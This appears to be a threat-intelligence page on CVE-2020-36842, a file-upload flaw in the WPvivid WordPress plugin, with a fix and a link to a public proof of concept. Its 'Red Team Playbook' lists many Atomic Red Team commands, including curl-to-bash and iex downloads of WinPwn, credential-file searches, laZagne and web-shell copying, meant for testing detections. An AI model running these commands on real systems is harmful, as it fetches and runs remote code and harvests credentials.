CVE-2020-36842
Overview
This vulnerability is an arbitrary file upload flaw caused by missing capability checks in the AJAX actions wpvivid_upload_import_files and wpvivid_upload_files within the WPvivid Backup, Migration & Staging plugin for WordPress. The affected component improperly validates user permissions before processing uploaded ZIP files, allowing low-privileged authenticated users to upload and extract files on the server. The root cause is the absence of authorization verification in the file upload handlers up to version 0.9.35.
Vulnerability Description
The Migration, Backup, Staging – WPvivid plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the wpvivid_upload_import_files and wpvivid_upload_files AJAX actions that allows low-level authenticated attackers to upload zip files that can be subsequently extracted. This affects versions up to, and including 0.9.35.
Impact
An attacker with low-level authenticated access can exploit this vulnerability to upload and extract arbitrary ZIP files on the server, potentially leading to remote code execution or unauthorized file manipulation. Exploitation requires valid user credentials but no additional user interaction. The attacker can leverage this to compromise the WordPress environment, exfiltrate data, or disrupt service availability. The CVSS vector (AV:N/AC:L/PR:L/UI:N) confirms network attack with low privilege required and no user interaction needed.
Solution
Upgrade the WPvivid Backup, Migration & Staging plugin to a version later than 0.9.35 where capability checks are enforced on the wpvivid_upload_import_files and wpvivid_upload_files AJAX actions. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/de1da248-2e03-40fa-8997-7176dc06abc9) and the WordPress plugin changelog for patch details and confirmation of the fix. No alternative workarounds are documented; patching is strongly recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the WPvivid plugin for WordPress arises from a lack of proper capability checks on specific AJAX actions, namely wpvivid_upload_import_files and wpvivid_upload_files. This oversight allows authenticated users, even those with low-level permissions, to upload arbitrary files, particularly ZIP files. Once uploaded, these files can be extracted on the server, potentially leading to the execution of malicious scripts or the installation of backdoors. The absence of stringent validation mechanisms for user permissions in these actions creates a significant security gap, enabling attackers to exploit this weakness without needing elevated privileges.
Attack vectors for this vulnerability are straightforward yet effective. An attacker with minimal access to the WordPress site can leverage the AJAX actions to upload malicious files disguised as legitimate ZIP archives. Once these files are on the server, the attacker can extract them, leading to the execution of harmful code. This could involve uploading web shells, which allow remote control of the server, or other types of malware that can compromise the integrity of the website. The simplicity of this attack, combined with the commonality of the WPvivid plugin in WordPress installations, makes it a particularly concerning threat.
The real-world impact of this vulnerability is substantial, especially for businesses relying on WordPress for their online presence. Successful exploitation can lead to unauthorized access to sensitive data, defacement of websites, or even complete server compromise. The ramifications extend beyond immediate damage; businesses may face reputational harm, loss of customer trust, and potential legal liabilities, especially if customer data is exposed. Additionally, the financial implications of remediation efforts and potential downtime can be significant, underscoring the importance of addressing such vulnerabilities promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. Regularly updating the WPvivid plugin to the latest version is crucial, as updates often include security patches that address known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and prevent unauthorized file uploads. Monitoring server logs for unusual activity, such as unexpected file uploads or changes to file permissions, can also aid in early detection of exploitation attempts. Furthermore, conducting regular security audits and vulnerability assessments can help identify and remediate weaknesses in the overall security posture of the WordPress environment.
In conclusion, the vulnerability within the WPvivid plugin poses a serious threat to WordPress installations, particularly due to its potential for arbitrary file uploads by low-level authenticated users. The simplicity of exploitation, coupled with the significant impact on businesses, necessitates a proactive approach to security. Organizations must prioritize timely updates, implement robust detection mechanisms, and foster a culture of security awareness to mitigate the risks associated with this and similar vulnerabilities. By doing so, they can protect their digital assets and maintain the trust of their customers in an increasingly hostile cyber landscape.
CSURFACE threat intelligence has detected the emergence of a publicly available proof-of-concept exploit targeting CVE-2020-36842, specifically affecting versions of the Migration, Backup, Staging – WPvivid plugin up to 0.9.35. This development marks a critical shift from theoretical vulnerability to practical exploitation capability, as evidenced by the sharp escalation in detection activity reported by our sensors. Although the EPSS score remains low and stable, the availability of a working exploit significantly lowers the barrier for adversaries, including low-skilled threat actors, to conduct arbitrary file uploads and potentially execute malicious payloads within compromised WordPress environments. This change elevates the threat landscape by increasing the likelihood of opportunistic attacks and broadening the pool of potential attackers. Consequently, defenders should recognize that the risk associated with this vulnerability has intensified, as exploitation is no longer confined to sophisticated actors but is accessible to a wider range of adversaries leveraging the new exploit code circulating publicly.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wpvivid | Migration\, Backup\, Staging | All |
cpe:2.3:a:wpvivid:migration\,_backup\,_staging:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2020-36842
Published: 2024-10-16 | Migration, Backup, Staging – WPvivid <= 0.9.35 - Authenticated (Subscriber+) Arbitrary File Uplo...
|
Nxploited | 0 | 0 | 2025-03-04 | View |
Threat Feed
2 eventsSighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.